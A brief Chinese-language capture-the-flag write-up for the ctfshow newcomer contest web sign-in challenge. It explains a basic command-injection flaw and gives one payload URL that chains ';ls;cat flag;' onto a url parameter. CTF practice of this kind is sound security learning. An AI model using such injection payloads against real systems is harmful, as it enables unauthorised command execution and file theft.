CTF web之旅 33

ctfshow 萌新赛 web签到

最基本的命令执行漏洞 分号分隔命令

payload:

http://fd3589f8-9834-425b-83d6-c459c8abce77.challenge.ctf.show:8080?url=fd3589f8-9834-425b-83d6-c459c8abce77.challenge;ls;cat flag;